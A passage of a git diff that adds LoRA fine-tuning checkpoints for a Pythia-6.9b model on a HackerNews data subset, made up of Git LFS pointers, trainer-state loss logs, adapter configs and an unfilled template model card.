a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..2f3e06145827de3d92d0f974950c5abcbaf332e4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e7442dadfd5322fe813dbbcb17de583a82f61e31ac62f2ec35a6ec8774db0035 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..5401d2e21fc4fc3bafa52b4456af0a53b1650deb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:87001cc088295681f8fa9c9981f22741325fcb7b1ba642a63ce2318e0f9ccf5a +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..2b1c959e3b92a9d3847cd61e595c79a1813cfe3a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0bf8faccd3d2ca94b80304c3092e394e13d076f35c0c4f51d74490ac3412d5f9 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..edc613be9a8a7736c1c5e6c411193a18eb94121c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:116e4caee7c9274e6f2a7d93ee5e67e259426d00592030a182ec1bf7e3e1fd99 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a7b986812d42cd3a02aeb3cd07d4ccca2b235d3c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/trainer_state.json @@ -0,0 +1,138 @@ +{ + "best_metric": 2.528620958328247, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70", + "epoch": 0.9333333333333333, + "eval_steps": 10, + "global_step": 70, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.14702503903232e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..35edaaaf62fd92e5cbf6f472be6c7c71e305617a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:92883c583e6e64f125f2c3abb5379d92ff99dd2e388fb63f9dba29065fcc486c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..3203d1651be74b138025dfeb73197e2255810c8d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5131bed64ca5afe3db298fa7e1099eedb8c55a8c582d7fd94d7f3413d3828dab +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..0b228b8e8106f666fe286c5d131d496d926a7df4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:debbe8bbbf3d0dfd719072ab48974c332b6f78ebe25ef99f5002c8d0a8c8c380 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8bf25b5c8780313aa53c49c9a020653afda88fbe --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8e54696b8c39c3b120a2b1d4d03623aee6400315f6e759074fafe42342c8bf95 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..393b5cd9d7f055f761d377a2c444e5601508ded0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/trainer_state.json @@ -0,0 +1,153 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.0666666666666667, + "eval_steps": 10, + "global_step": 80, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.31088575889408e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..a887f51a5208e1dbe4fe790601eb24ac422000ca --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7d93456f66968cdd5148c6f8d7eedfd74c5d41bbc4e24f37fcc1641ff9db0851 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..e8c10fd7127ad81425fcca4b8bc35d5f65219422 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:48375b283dea893d696e1080b259a5f68587d27b3c462e58ac8f9f525a7d48bb +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4041231f7cc289aaec627b941b3ce1ed104a3678 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5e1884689751e2c9aa53b83d7472089621e5727e27a037b479e2287c7b208b1a +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..d1e19095e23644fde7d19dd9320fdb8daf7fd2bd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:28209e35c6873af016e1c69801c50fdb913d066bb8fab0d3da00cafc566c1a5c +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..487fa5a0c530247296e1b4ca834b51e18dc38b93 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/trainer_state.json @@ -0,0 +1,168 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.2, + "eval_steps": 10, + "global_step": 90, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 